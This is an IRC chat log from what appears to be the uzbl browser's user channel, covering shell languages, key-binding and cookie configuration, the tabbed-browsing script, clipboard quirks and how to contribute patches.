02:10 < scj> i get 51.2 in ff3.5 :v
02:11 < Evanlec> whew
02:11 < scj> and 1057 in uzbl
02:11 < Evanlec> on an old laptop?
02:11 < scj> nah mang, old desktop
02:12 < Evanlec> what spec?
02:12 < Rodya> Alright, my download script has a new parameter, --dir, which lets you set the directory to download files in as well as for exporting the URI list, and it also means you can use bind in the config file to bind a given regex to download to a specific directory...
02:12 < Rodya> And, since its in bash, it supports things like $HOME
02:13 < Evanlec> Rodya: exporting the URI list ?
02:13 < jrm8005> rc > bash. That is all.
02:13 < Rodya> Evanlec, yeah, in case you want to use an external program to download them
02:13 < Evanlec> Rodya: meh, who does that anymore?
02:13 < Rodya> I do for megaupload, rapidshare, etc
02:13 < scj> Evanlec: p4 2.4ghz
02:13 < Evanlec> oh
02:14 < bct> jrm8005, in terms of its architecture or in terms of actual usefulness?
02:14 < Evanlec> scj: hmph, i would think it would reach atleast baseline (100)
02:14 < bct> i'm curious about rc, but i'm mostly happy with bash and/or zsh
02:14 < Evanlec> what is rc exactly?
02:14 < jrm8005> rc > zsh > bash
02:14 < Evanlec> im afraid a google search would be ambiguous
02:14 < jrm8005> rc is a joy to program in.
02:14 < jrm8005> it's the plan9/Unix V9 shell.
02:14 < Evanlec> it is a scripting language?
02:14 < Evanlec> Oh
02:15 < jrm8005> written by Tom Duff. Of Porter-Duff and Duff's Device fame.
02:15 < Evanlec> i c
02:15 < bct> ah, well. i don't write anything except the most trivial scripts in shell languages anyhow
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02:15 < Evanlec> yea, i prefer to use a real language for anything more complex myself
02:15 < bct> because bash is a crappy non-interactive language.
02:15 < jrm8005> yes, but when bash makes you go if [[ $THING ~ $THING2 ]]
02:15 < jrm8005> and rc makes you just go if ( ~ $thing $thing2)
02:15 < jrm8005> and so on.
02:16 < jrm8005> rc is a clear winner.
02:16 < scj> so rc is lisp with shell vars? :v
02:16 < Evanlec> jrm8005: whats holding it back from being more widely used?
02:16 < jrm8005> also, it has way simpler quoting semantics, and a nicer backtick
02:16 < jrm8005> Evanlec: nothing, really.
02:16 < jrm8005> everyone just uses bash.
02:16 < Evanlec> ye
02:16 < holizz> Are there decent shells which don't conflate whitespace? That's the main reason I switch to Python/Ruby for anything remotely serious.
02:16 < Evanlec> comes standard on pretty much every single linux distro
02:17 < jrm8005> scj: some people have hacked together enough scripts that you could probably make rc look like lisp
02:17 < jrm8005> holizz: what do you mean?
02:17 < jrm8005> rc generally doesn't care about whitespace.
02:18 < scj> I use zsh mostly for it's tab completion
02:18 < jrm8005> yeah, the only thing I really liked about zsh
02:19 < jrm8005> but my term does file completion, which is really all I need.
02:19 < bct> man zshall -> lines 22575-22624/22624 (END)
02:19 < holizz> jrm8005, The two main problems with whitespace in shells is 1) spaces in filenames break almost everything because space is the delimiter. 2) When you want to use something like ls you have to use file -print0 instead (and that can be piped into xargs -0) - in all other cases newlines are treated identically to spaces.
02:19 < holizz> Any real programming language > shell.
02:20 < bct> i like zsh but goddamn that's way more lines of man page than i will ever read.
02:20 < holizz> Although I haven't found a general purpose programming language that can emulate pipes as well as Ruby.
02:20 < scj> bct: true dat
02:20 < jrm8005> holizz: actually, in rc you can just do $"var and it will quote the var.
02:20 < jrm8005> everything else just use '
02:21 < holizz> jrm8005, That does sound handy.
02:21 < bct> pipes are pretty much the only thing that shells are good at for non-interactive use
02:21 < jrm8005> rc is truly badass, and I doubt python would give you much other than an object system over rc.
02:21 < jrm8005> which, you can easily do without.
02:22 < bct> what's its regexp support like?
02:22 < jrm8005> bct: approximately egrep
02:23 < jrm8005> don't think it has backreferences, but the thing is, it's algorithm isn't fucking ridiculously exponential like perl's, python's, rubbish's, java's, C#'s, etc.
02:23 < jrm8005> it uses Thompson regexes like everything *should* use.
02:23 < bct> is that a cute oway of saying that its regexp support *is* egrep ?:P
02:23 < jrm8005> no, the syntax is close to egrep's
02:24 < jrm8005> the usage is like I showed above: if ( ~ $#* 0)
02:24 < jrm8005> or ( ~ $foo .*\.pdf)
02:24 < bct> don't be mean to ruby it only wants to help :(
02:24 < jrm8005> ruby is shit.
02:24 < jrm8005> the scoping rules alone make me want to murder matzumoto.
02:24 < jrm8005> (whatever his name is)
02:24 < bct> you're mean :'(
02:25 < holizz> jrm8005, Only one letter off.
02:25 < jrm8005> it's a terrible, immature, slow language.
02:25 < Rodya> Should my download script make a directory to download into if it doesn't exist (of course, it would be an option you could turn off)?
02:25 < jrm8005> Rodya: generally, programs bail out.
02:26 < jrm8005> it's not polite to mkdir. Also, could be permissions issues anyway.
02:26 < jrm8005> but it's your script, so whatever pleases you
02:26 < Rodya> jrm8005, that's true, but the only way I can notify the user that things failed is with a zenity message dialog
02:27 < bct> you could write something to MSG
02:27 < jrm8005> Rodya: if ( -d $path) { ...do download... } if not {... show dialog ... }
02:28 < Rodya> jrm8005, I know how to do it, I just hate message dialogs because they pop up in the middle of me doing something else >.>
02:28 < Rodya> bct, MSG?
02:28 < jrm8005> Rodya: oh, yeah, I guess that blows then
02:29 < bct> Rodya, set status_message = something
02:29 < bct> and then if you have MSG in your status bar or title format it'll show up there
02:29 < Rodya> bct, I didn't know that existed, cool... uzblctrl has access to it?
02:30 < bct> i think so, uzblctrl just runs regular commands right?
02:30 < Rodya> yep
02:31 < bct> holizz: people were comparing history file sizes the other day, how big was the biggest one?
02:32 < holizz> bct, I think that was lazareth's at something like 1,500.
02:32 < bct> whoa, what's wrong with mine then?
02:32 < bct> 8137
02:32 < holizz> bct, You win.
02:33 < bct> are other people just not using it full-time?
02:33 < Cheeseum> 5,670 ;-;
02:33 < bct> noice
02:33 < jrm8005> I use it fullyime, just 250, though...
02:33 < Rodya> 3405 here
02:34 < jrm8005> oh, 256K
02:34 < jrm8005> lol
02:34 < bct> we're talking lines not bytes
02:34 < bct> hmm, although i seem to be getting 2 entries for every page.
02:34 < jrm8005> oh
02:34 < Rodya> i should actually delete the file and disable the handler, since i don't use history
02:35 < holizz> bct, I'm using it 24/7 (which is approximately how much I use the Web). The history file is from last month 07. I can't believe I only make 1,000 page impressions per month. That's so few!
02:35 < jrm8005> 2536 lines
02:35 < bct> you must have a longer attention span than me holizz :)
02:40 < Rodya> bct, what command actually lets me change the value of MSG, i tried: s test  in uzbl (where s _ = set %s) and nothing appeared to happen there =/
02:41 < Rodya> err, s MSG=test
02:42 < holizz> In both senses of the word: ZZ
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02:57 < timofonic> Hello
03:01 < scj> hi
03:02 < jrm8005> hai.
03:02 < jrm8005> man I gotta stop talking like a lolcat.
03:02 < scj> yes. you really should
03:03 < jrm8005> it's so addictive.
03:03 < jrm8005> I've been programming in LOLCODE.
03:03 < jrm8005> I left Hanoi on a whiteboard one time.
03:07 < jrm8005> I think the collective IQ of the lab that day was drastically reduced by its presence.
03:11 < bct> Rodya: 'set status_message = your text'
03:12 < Rodya> bct, thanks =)
03:17 < timofonic> Guys, are there some app/daemon compatible with adblock plus filters? And greasemonkey scripts? I only found a java-based stuff of the last, and most of the code is executed as javascript in the client side
03:18 < jrm8005> timofonic: I think there's an iptables thing that can do peerguardian and maybe adblock lists.
03:18 < timofonic> jrm8005: But not compatible with adblock plus filters? I listed some stuff in the archlinux forum thread about uzbl...
03:19 < jrm8005> no, I think it is compatible with abp
03:19 < timofonic> jrm8005: Interesting
03:22 < timofonic> How to type inside forms? It's not showed at all...
03:22 < timofonic> I can't find in google or login :P
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03:23 < shinynew> so is there any uzbl fourm yet?
03:23 < timofonic> shinynew: I used a forum thread in archlinux and found this project there...
03:23 < shinynew> yeah I mean like there is no specifically uzbl fourms are there?
03:24 < shinynew> I am using arch as well
03:24 < timofonic> shinynew: It seems not :(
03:24 < joyfulgirl> shinynew: That seems a bit excessive at this point
03:24 < joyfulgirl> timofonic: Check the FAQ, read the README
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03:26 < timofonic> joyfulgirl: oh, vim syndrome...
03:26  * timofonic uses emacs
03:26 < shinynew> fair enough, I would just like to see a lot of people's config files, thats how I like to configure mine
03:26 < jrm8005> ugh... emacs... dude, I just ate.
03:26 < joyfulgirl> timofonic: Me too (-:
03:26 < timofonic> joyfulgirl: Hopefully behaviour is scriptable...
03:26 < joyfulgirl> shinynew: Check the wiki
03:27 < joyfulgirl> shinynew: There's a page of folks' configs
03:27 < shinynew> joyfulgirl: yeah I was just looking for some more
03:28 < scj> timofonic: some greasemonkey scripts should work
03:28 < shinynew> yeah and it would be cool to see some greasemonkey scripts people converted
03:29 < timofonic> scj: Name? URL?
03:30  * timofonic is unable to understand the insert/command mode, needs a emacs-like interface and not a vim one!
03:31 < jrm8005> emacs is a modal editor. Every control/meta key combo is a mode.
03:32 < timofonic> jrm8005: Yes, but tons less messy than vi(m)!
03:32 < timofonic> jrm8005: At least for me, and more powerful
03:32 < jrm8005> timofonic: emacs is a disgusting mess.
03:32 < jrm8005> so is vi.
03:33 < timofonic> jrm8005: Not for me
03:33 < jrm8005> yeah, ok, keep telling yourself that.
03:33 < timofonic> jrm8005: :P
03:33 < timofonic> jrm8005: I pressed "i" and unable to write in the form!
03:33 < timofonic> jrm8005: Voodoo magic? I tried alt+i too...
03:34 < jrm8005> did you have characters in the buffer?
03:34 < jrm8005> press escape, then i.
03:34 < timofonic> jrm8005: Nothing, a "i" shoed in the title
03:34 < jrm8005> if you typed a command while in command mode, it will start buffering characters.
03:34 < timofonic> i C Uzbl - title of the site
03:34 < jrm8005> well, probably a bug, and has nothing to do with modes.
03:34 < jrm8005> so irrational vi bashing was in this instance uncalled-for.
03:35 < timofonic> jrm8005: Oh, I'm using the experimental branch. Didn't remember it
03:35 < timofonic> jrm8005: That's weird...
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03:41 < scj> sounds like he didn't have i bound to toggle_insert_mode
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04:03 < Rodya> Hrm, I wonder if there is anything else to add to this download script
04:04 < jrm8005> Rodya: kitchen sink?
04:04 < jrm8005> text editor?
04:04 < jrm8005> web browser?
04:05 < jrm8005> Skynet?
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04:09 < scj> a webserver
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04:22 < Evanlec> hmm, i wonder if there's a chance that the html inspector thing could be someday as good as firebug
04:23 < scj> webinspector?
04:24 < Rodya> I guess a save as dialog with zenity for selecting the directory to save things to could be nice
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04:33 < Ralith> what IS that html inspector thing?
04:34 < scj> webinspector?
04:35 < Evanlec> yea
04:35 < Evanlec> that thing
04:37 < scj> what exactly is it you are missing from firebug?
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04:38 < bruenig> greetings
04:39 < scj> hello
04:39 < bruenig> ok, so some questions
04:40 < bruenig> well one really, and that is the tab question, does anyone use the uzbl_tabbed.py script here?
04:43 < rob|> be more specific
04:43 < bruenig> ok so how do I launch it I guess I am asking. I mean what needs to be in the config
04:44 < rob|> oh, damn 4:40 am - i must be sleepwalking..#
04:44 < bruenig> I see stuff like set history_handler = and so on, is that just a random variable the "history_handler" or is that a known variable to uzbl
04:44 < bruenig> how do I spawn it I guess I am asking, I get the top of the uzbl_tabbed script and all of the config options, but I don't know how to get the uzbl_tabbed.py script to be paid attention to to begin with
04:45 < rob|> bruenig: the wiki page and the comments in the script describe it quite well
04:45 < bruenig> oh a wiki page
04:45 < bruenig> I did not see such a thing
04:46 < rob|> and yes, history_handler is a var known to uzbl
04:47 < scj> I can't quit uzbl while it is loading a page?
04:47 < scj> I just tried opening uzbl.org but it's taking forever to load
04:48 < bruenig> ok and so how do I get uzbl to spawn uzbl_tabbed to begin with
04:48 < scj> you launch uzbl_tabbed, it will do the uzbl spawning for you
04:48 < bruenig> OHHHH
04:48 < bruenig> see that makes sense
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05:01 < krayon> is it webkit that doesn't paste when I middle click in a textfield or is that uzbl specific (or other)?
05:01 < Ralith> krayon: are you in insert mode?
05:02 < krayon> Oh... perhaps not :S
05:02 < krayon> omfg nvm PEBKAC
05:03 < krayon> oh no wait, it still doesn't work :(
05:04 < krayon> ok, sorry.  yes it does but if I highlight text in the browser, it won't copy.
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07:34 < Evanlec> hmm, so how do i turn on cookies?
07:34 < Evanlec> i have a handler set but
07:36 < krayon> So, any ideas why selecting text in uzbl doesn't place it in the clipboard for middle-click pasting?
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07:37 < scj> krayon: works for me
07:38 < krayon> :(
07:38 < krayon> Evanlec: I would say your handler just handles it as long as it's set.
07:38 < Evanlec> hmm
07:39 < Evanlec> all cookie sites complain that i dont have cookies enabled
07:39 < scj> Evanlec: cookies work without a cookie handler, but you won't get any cookie persistence, they live and die with your instance
07:39 < Evanlec> Hmm
07:40 < scj> what cookie handler are you using, btw?
07:40 < krayon> scj: OK.  NOW I've got it :P  It doesn't allow highlight in a browser window, then paste into a text area in that page.
07:41 < scj> Evanlec: personally I prefer not to use a cookie handler, since it currently causes quite a slowdown
07:41 < krayon> eg. I goto google, highlight "the web" text, then click in text box, go into ins mode, and middle click but no paste.
07:41 < krayon> Yeah looking at the stdout/err when you hit a page it calls it a LOT
07:41 < krayon> your cookie_handler that is
07:43 < Evanlec> where's it sposed to store cookies?
07:43 < scj> Evanlec: depends on the cookie handler
07:43 < Evanlec> im using cookies.rb
07:43 < Evanlec> well, cookies seem to work now ;)
07:46 < krayon> I think I know what's going on for me.  A de-select event is occuring when middle-click is pressed, PRIOR to a paste request.
07:47 < scj> why not just use right-click > paste?
07:47 < krayon> once i try to paste, the clipboard thingy no longer holds the text i had selected and appears to fall back to some previous instance (a pop almost).
07:48 < krayon> scj: Over twice the effort per mouse paste.
07:48 < krayon> scj: And because it doesn't work like that in everything else :(
07:49 < krayon> On the upside the problem only exists when copying and pasting within the browser.
07:50 < krayon> It works from different browser windows too so it's only for a given instance.
07:50 < scj> my brain would probably break if it started pasting stuff on middle mouse click anyway
07:50 < scj> too used to the scroll thing in ff
07:50 < L29Ah> krayon: i have the same trouble
07:50 < krayon> scj: That's how it works.  How did you turn it off?
07:50 < krayon> scj: Oh.  What OS you using?
07:51 < scj> arch
07:51 < L29Ah> but there's another one: selected text doesn't appear in mouse buffer
07:51 < krayon> scj: Strange.  How do you disable highlight copy/middle-click paste?  I've never used a windowy env that didn't have it :/
07:51 < scj> oh, it does work actually. as long as I don't click on input areas
07:52 < scj> s/don't//
07:52 < krayon> L29Ah: But, when I middle-click in a terminal (running vim with mouse='') after having selected some text in uzbl, it pastes.
07:53 < krayon> L29Ah: Does that not mean it's in the buffer?
07:53 < scj> I've been using linux for 4-5 years now and I have yet to really understand how the hell clipboard buffers work in x :v
07:53 < L29Ah> dntwrk
07:53 < L29Ah> oh
07:53 < L29Ah> selected text from the status don't work
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07:53 < krayon> scj: As far as I understand there's more than one.  A mouse, then one or more controlled by your tk (I THINK).
07:53 < L29Ah> but it's ok for the rest
07:54 < krayon> L29Ah: Yeah it does for me.
07:54 < krayon> L29Ah: As I said the ONLY thing that doesn't work for me is that I can't paste into the same instance.
07:54 < krayon> L29Ah: Unfortunately that's often what I want to do :/
07:55 < scj> krayon: yeah, I know, and I can never figure out which one I am supposed to use
07:56 < scj> sometimes cat $file | xclip -i works and sometimes it doesn't
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08:03 < ruskie> good morrow all
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08:55 < Dieterbe> morning
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09:12 < negher> Morning Dieterbe.
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10:49 < ruskie> *yawn*
10:49 < ruskie> gah... 4 more hours to go
10:52 < Dieterbe> until..?
10:53 < ruskie> weekend
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10:57 < Dieterbe> ah. 5 hours for me
11:02 < krayon> -2 for me but backlog of work :(
11:05 < Dieterbe> :o
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12:00 < Evanlec> hmm, so i have: bind O  = sh 'echo "keycmd o$6" > "$4"'
12:00 < Evanlec> when i try it, i get from my shell: zsh: can't open input file:
12:21 < holizz> What's "shell_cmd" set to?
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12:26 < Evanlec> holizz: not sure
12:26 < Evanlec> oh
12:26 < Evanlec> zsh -c %s ''
12:27 < holizz> Mine's set to "sh -c", so maybe you don't need the %s
12:27 < Evanlec> hmm k
12:27 < Evanlec> not sure what the '' is for either
12:27 < Evanlec> weird
12:28 < Evanlec> when i do my :reload command it also prints that msg
12:28 < Evanlec> hey it works now
12:30 < Evanlec> i spose I've got a way to go before replacing vimperator
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12:39 < krayon> Evanlec: :P I've got an issue or two too but am just looking at uzbl source to see what's possible
12:40 < krayon> It's amazing how little code there is.  It's great.
12:40 < Evanlec> yea
12:40 < krayon> I guess webkit's to thank for some of that :P
12:40 < Evanlec> i'm sure the possibilities are endless but
12:41 < krayon> I'm missing SPACE = pgdn and SHIFT-SPACE = pgup atm
12:41 < Evanlec> I spose I'll wait for new stuff to come from upstream
12:41 < Evanlec> yea, im missing my C-d / C-u
12:42 < krayon> well, that you can set though
12:42 < Evanlec> didnt work for me
12:42 < Evanlec> they said multi-key binds arent implemented yet
12:43 < krayon> oh, well, actually maybe not.  I think atm, it would only work if you assigned 'd' to up and then used C-d in insert mode
12:43 < krayon> and had ctrl as your mod that is.
12:44 < Evanlec> hmm
12:44 < Evanlec> yea, thats not that big of a deal
12:44 < Evanlec> i missing now my y to yank url
12:45 < rob|> Evanlec: open your config in vi(m) and type:  bind ctrl-v ctrl-d = your_uzbl_command
12:45 < Evanlec> rob|: i know i know, i tried this
12:45 < rob|> strange that it works for everyone else, though
12:46 < ruskie> I can't get ctrl+v ctrl+i though
12:46 < ruskie> since that's marked as tab
12:46 < ruskie> needs better support for key binds
12:46 < krayon> Evanlec: you can have y = yank url, that's what I've got
12:46 < Evanlec> oh, now it works
12:46 < ruskie> also would like insert to be used along with i for insert mode :)
12:47 < ruskie> and so on ;)
12:47 < Evanlec> i think my :reload command must suck
12:47 < scj> Evanlec: it segfaults sometimes
12:47 < Evanlec> yes
12:48 < Evanlec> phoronix.org still crashes me :9
12:49 < ruskie> hmm no crash here
12:49 < Evanlec> crashes on x86_64
12:50 < Evanlec> possible to add to my yank keybind a status msg ?
12:51 < krayon> Evanlec: chain
12:51 < ruskie> x86_64 here as well
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12:51 < krayon> Evanlec: bin y = chain "yankscript.sh" "set status_message = yer msg"
12:52 < dsg_> Evanlec: x86-64, no crash, just see a domain squatter site.
12:52 < krayon> chain > * :D
12:52 < Evanlec> sorr, i meant phoronix.com
12:53 < dsg_> Evanlec: Seems to work as well, doesn't crash here
12:53 < Evanlec> krayon: can it be: bind y = chain "yank uri" "set status_message = yanked uri"
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12:53 < krayon> Evanlec: prolly but you'd have to make the second a script that echo's that into the fifo I would think
12:53 < Evanlec> krayon: you said u just used bind y = yank uri ?
12:54 < krayon> Evanlec: No, bind y = spawn $XDG_DATA_HOME/uzbl/scripts/clipb.sh yank
12:54 < Evanlec> oh lol
12:54 < krayon> Evanlec: Where clipb.sh is a script that does the yanking/pasting
12:54 < krayon> I LOVE THIS BROWSER!!!!11111
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12:54 < Evanlec> right
12:54 < krayon> ehem. sorry.
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13:10 < ruskie> mason-l, fresh feature request... make the gtk tabs movable by mouse so one can reorder them ;) ow and don't know but is there a way yet to turn off the numbers?
13:11 < mason-l> ruskie, Working on both. I've been looking into tab re-ordering and like I mentioned earlier I'm working on custom tab title formats.
13:11 < krayon> hmm
13:11 < ruskie> the reordering should be built in gtk already
13:12 < ruskie> probably just need to set some stuff possibly
13:12 < krayon> can one map mouse6/7/8/9 as back?
13:12 < ruskie> considering that all gtk browsers I ever used had that since ages past
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13:44 < Evanlec> krayon: cant map mouse buttons yet i was told
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13:53 < krayon> Evanlec: Ah, might look at the code for that then :P
13:53 < Evanlec> krayon: if you find a way, fork the project on github and submit a patch or pullrequest ;)
13:58 < Dieterbe> ruskie: mason_l : tab reordering: YAGNI imho
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13:58 < scj> i reshuffle tabs in ff all the time
13:59 < Dieterbe> hmm ok if it's not too much lines of code, go for it then
13:59 < ruskie> Dieterbe, ???
13:59 < ruskie> YAGNI?
13:59 < Dieterbe> google
14:00 < ruskie> Dieterbe, it's one of the built in stuff in gtk since firefox got it way way way way after all other gtk browsers already had it
14:00 < ruskie> since yes firefox isn't gtk based
14:01 < Dieterbe> but uzbl_tabbed doesn't use gtk tabs for the tabs at the top
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14:02 < ruskie> I only care about the gtk tabs ;)
14:02 < ruskie> and I believe I specified those
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15:03 < toros> hi
15:03 < Dieterbe> hello
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15:04 < toros> just testing uzbl... I think I'll love it :)
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15:29 < linopolus> Hi
15:29 < linopolus> Can I bind ctrl + sth. to a command?
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16:12 < andash> linopolus: what's sth?
16:12 < linopolus> tab
16:12 < linopolus> something :)
16:12 < andash> oh.. right, i actually wondered that too. and space
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16:26 < malumalu> uzbl.h:87: error: expected specifier-qualifier-list before »WebKitWebInspector« << can somebody explain this error when building master?
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16:56 < malumalu> ok, i think i catched the error
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18:24 < tsdh> Hi.
18:26 < tsdh> I've installed uzbl out of couriosity. :-) Now the question: How can I visit any page?
18:26 < tsdh> I tried ":o www.google.de RET", but that changes only the text in the titlebar...
18:28 < bct> are you using the example configuration file?
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18:31 < tsdh> Ah, now I am.  I didn't notice I have to specify the XDG vars at startup.
18:32 < tsdh> Wow, it works.  And the status bar is extremely beatiful. :-)
18:32 < bct> yeah, i get the impression not very many systems actually have the XDG_* by default
18:32 < rob|> indeed..
18:33 < bct> rob|, if we make keycmd a variable do you have any suggestions about how to replace keycmd_nl and keycmd_bs?
18:34 < bct> for _nl you could do whatever@<"\n">@
18:34 < bct> but that's really ugly.
18:36 < bct> and i don't have any clever ideas about _bs
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18:43 < rob|> hmm, need to look more closely to those. i don't hav an idea ad hoc..
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19:39 < romain> is there a memory leak in uzbl?
19:40 < romain> there are five uzbl instances, and each uses about 250mo
19:42 < romain> and uzbl_tabbed.py uses 70mo!
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19:51 < romain> (s/mo/MB/)
19:59 < scj> romain: where are those figures from?
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19:59 < romain> ps
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20:00 < Tel_Janin> what's the latest method for handling cookies? The example method doesn't allow me t log in to gmail.
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20:01 < scj> romain: memory usage in linux isn't really that straight forward, with shared libraries and stuff
20:02 < Mittagessen> hiho
20:02 < Mittagessen> I found uzbl a few days ago
20:02 < Mittagessen> and try to get tabs working
20:03 < scj> Tel_Janin: fastest? probably to disable any cookie handler and use webkits internal one for now
20:03 < Mittagessen> I built the latest tarball
20:03 < scj> Tel_Janin: you won't have any cookie persistance and they will be lost when you close the instance
20:04 < Mittagessen> but when I follow the Howto in the wiki uzbl tells me on startup that it doesn't know any of the tab-specific commands and ignores them
20:04 < Mittagessen> like this: command "save_session" not understood. ignoring.
20:05 < rob|> Mittagessen: did you launch 'uzbl_tabbed.py'?
20:05 < Mittagessen> does anybody have any idea how to fix this?
20:05 < Mittagessen> do I have to do it by hand?
20:05 < Mittagessen> or with spawn?
20:05 < rob|> yes, you launch that one and it takes care of spawing uzbl(s) for you
20:05 < Mittagessen> ahh ok thank
20:05 < rob|> you just start it from the command line
20:05 < Mittagessen> s
20:06 < romain> scj: ... webkit and gtk are shared libraries, and when free says me there isn't enough memory, I believe it
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20:08 < Mittagessen> nice it works
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20:10 < tsdh> Now I copied the example configs/data to ~/.config and ~/.local/share and basically everything seems to work, except I get that warning on the console: Icon "./uzbl.png" not found. ignoring.
20:11 < tsdh> I guess it should use $XDG_DATA_HOME/uzbl/uzbl.png, right?
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20:14 < holizz> tsdh, Yup, assuming you copied that too.
20:14 < tsdh> Yes, it's there.
20:15 < tsdh> Well, no real problem.  My window manager doesn't show icons anyway. :-)
20:16 < tsdh> Hm, but this is a real problem: Sites I have to login don't work, e.g. the login doesn't work.  At ebay it does nothing after hitting the submit button and at the webmail interface @work, it says I have to login...  I did that!
20:17 < andash> Mittagessen seems to have the same/a similar problem
20:17 < andash> probably cookies then?
20:17 < tsdh> Ah, there's a warning: console message:  @1: Unsafe JavaScript attempt to access frame with URL http://www.ebay.de/ from frame with URL http://de.ebayobjects.com/1ai/ebay.de.homepage.cchp/homepage;sz=300x100;ord=1193139260718. Domains, protocols and ports must match.
20:18 < andash> neat, noscript by default :p
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20:21 < scj> andash: no, that's just standard XSS protection
20:21 < scj> noscript is an entirely different beast
20:22 < andash> scj: i wasnt that serious. iirc noscript has an option to block exactly that kind of stuff
20:23 < scj> I'm pretty sure ff blocks that stuff by default
20:24 < andash> hmm ok
20:25 < andash> i just took a guess that it didnt since noscript did, maybe there are just more ways to customize the protection
20:26 < scj> andash: just checked. noscript has an option to santize xss requests and turn POST into GET to prevent them from sending data
20:28 < andash> scj: right, i see
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20:37 < Mittagessen> ahh I finally got tabs working. The only problem is that the script doesn't seem to inherit the config options from the original uzbl config file
20:38 < Mittagessen> although I can live with changing the script by hand
20:38 < rob|> it really should
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20:41 < Mittagessen> I think I finally found a usable web browser
20:41 < Mittagessen> with tabs it's perfect
20:41 < Mittagessen> and it has a kiosk mode by default ^^
20:42 < linopolus> :)
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20:45 < tsdh> Hm, a little problem with the formfiller.sh: /home/horn/.local/share/uzbl/scripts/formfiller.sh: line 55: /home/horn/.local/share/uzbl/forms/https://mail.uni-koblenz.de/squirrelmail/src/login.php: No such file or directory
20:46 < tsdh> This happens with "zn", so it should create that file.  I know it doesn't exist.
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20:52 < tsdh> Ah, and another thing.  The scripts should honor $VISUAL.  Not everyone uses vim. ;-)
20:52 < rob|> what?
20:52 < rob|> blasphemy!
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20:53 < tsdh> Haha, well, I use this other editor, ya know...
20:53 < rob|> don't even dare to spell its name :P
20:54 < Dieterbe> hm what's $VISUAL ?
20:55 < tsdh> Dieterbe: Like EDITOR, but without the need of running in a terminal.  I.e. gvim, or emacs.
20:55 < tsdh> (Ups, now I spoke the forbidden word....)
20:55 < rob|>  /kick tsdh
20:55 < rob|> damn space bar..
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20:59 < Dieterbe> tsdh: ooh there is a variable for that? that's great
21:00 < Dieterbe> i welcome patches to fix our scripts :)
21:02 < scj> probably better to change the domain regex to use uzblctrl to query for the domain
21:05 < tsdh> Dieterbe: I see what I can do.
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21:12 < krayon> Dieterbe: Did you start this browser?
21:13 < tsdh> Dieterbe: Should I paste the patch somewhere?  Or send by mail?
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21:13 < Dieterbe> tsdh: preferably send it to the ML
21:14 < Dieterbe> krayon: yes
21:14 < krayon> Dieterbe: It's ... perfect by design :)
21:14 < Dieterbe> the implementation has a lot of room to improve though
21:15 < krayon> Dieterbe: Oh I wasn't saying that as such, I just meant it's good to have such a perfect baseline in the idea :P
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21:16 < krayon> Dieterbe: Very powerful the unix philosophy which doesn't get looked at these days.
21:16 < Dieterbe> yes sometimes i have bright moments ;) but i could never do this without all the help i got from all these people (about 30 contributors by now)
21:16 < krayon> I loved the wm is the place for tabs bit as I agree :)
21:16 < krayon> Is the preferred method to fork or just submit patches?
21:17 < Dieterbe> krayon: fork on github
21:17 < krayon> I just made my button 8/9 function (though not sure how to bind them)
21:17 < krayon> is there a plan as yet to bind special stuff like space, mouse buttons etc?
21:18 < krayon> as in, syntaxically
21:19 < Dieterbe> i want it, but have no idea on the implementation yet. rob| might
21:20 < krayon> Dieterbe: I have it implemented, I just don't know what to "call" it
21:20 < krayon> for binding
21:20 < krayon> see, if i use: bind mouse8 back
21:20 < krayon> then I can't use the string "mouse8"
21:20 < krayon> Admittedly that's probably not a biggy but ... :P
21:21 < Mittagessen> is there a way to bind a space?
21:21 < krayon> I just thought there might already be a plan as to how to represent "SPECIAL" bindables like that.
21:21 < Dieterbe> Mittagessen: not yet
21:21 < Dieterbe> krayon: wel, X recognizes them all so there should be a way to represent them
21:22 < krayon> Dieterbe: Oh, you mean it could auto detect them perhaps...? I don't think they are handled the same as keys though.
21:23 < krayon> Dieterbe: It would seem to
21:23 < krayon> not.
21:23 < Dieterbe> i have no idea
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21:24 < krayon> I'll just use "mouse8"/"mouse9" for now and hope no one wants to bind those literal strings to anything :P
21:24 < scj> I suggest we use something like vims <..> to denote stuff that needs to be interpreted
21:24 < krayon> scj: Ah, good idea that
21:25 < krayon> scj: But then how would one represent a literal <mouse8>?
21:26 < N30N> krayon: in vim you can map the mouse with <LeftMouse> etc..
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21:27 < krayon> N30N: But how do you map the string "<LeftMouse>" is my point (however unlikely that may be)?
21:27 < scj> \<LeftMouse\>
21:28 < krayon> Yeah.  It would mean of course all bindings need to handle "\\" then too.  Perfect.
21:28 < scj> or we could, if we chose <>, make them special cases so the string <mouse8> would be written <lt>mouse8<gt>
21:28 < krayon> Never used git before :/
21:29 < Dieterbe> YAGNI
21:29 < Dieterbe> it is not unreasonable at all to forbid the binding of "<LeftMouse>"
21:29 < Dieterbe> and similar
21:29 < Dieterbe> no one would ever do it anyway
21:30 < krayon> True :P
21:30 < krayon> If I just git clone git://github.com/Dieterbe/uzbl.git do I get experimental/latest?
21:31 < Dieterbe> krayon: see http://www.uzbl.org/contribute.php register on github and click the fork button on my repo
21:32 < holizz> krayon, It'll checkout master by default.
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21:56 < krayon> Wow.  git is ... different :P
21:56 < Dieterbe> :)
21:57 < krayon> Dieterbe: So if I git clone as above, how do I update to the "latest" (ie experimental)?
21:59 < krayon> Or do I have to "merge" your experimental into my branch is that it?
22:00 < Dieterbe> yes
22:00 < Dieterbe> pull from me and merge
22:01 < krayon> Ah.  OK thanks.
22:02 < Mittagessen> is there a way to tell webkit not to send referrers and not to accept cookies?
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22:04 < Mittagessen> something like about:config in the browser that shall not be mentioned
22:04 < scj> why should the browser not be mentioned?
22:04 < Mittagessen> iceweasel
22:04 < Mittagessen> so I said it
22:05 < bct> Mittagessen, not referrers yet afaik
22:05 < Mittagessen> and cookies?
22:05 < bct> but you can tell it not to do cookies by setting the cookie handler to something that does nothing.
22:05 < Mittagessen> ah ok
22:05 < bct> sh true maybe?
22:06 < Mittagessen> how nice
22:06 < Mittagessen> I try to make uzbl kindof tor compatible
22:06 < bct> hmmm, actually i'm not sure that will work. try it?
22:06 < Mittagessen> i will
22:06 < Mittagessen> wait a minute
22:07 < Dieterbe> Mittagessen: about:config -> cat ~/../config :)
22:08 < Mittagessen> about:config also allows you to configure gecko ^^
22:08 < bruenig> greetings, is this the place to seek help on uzbl_tabbed.py? I launch that thing, window briefly pops up and dies. This is all I see on the cli: http://pastebin.com/f6192c2cb
22:09 < Dieterbe> bct: is there a specific reason you prefer bitbucket/hg over github/git ?
22:09 < Mittagessen> how do I set multible variables with one bind?
22:09 < Dieterbe> bruenig: well the warning looks fairly clear to me. what are those weird characters?
22:10 < Dieterbe> Mittagessen: chain should do it
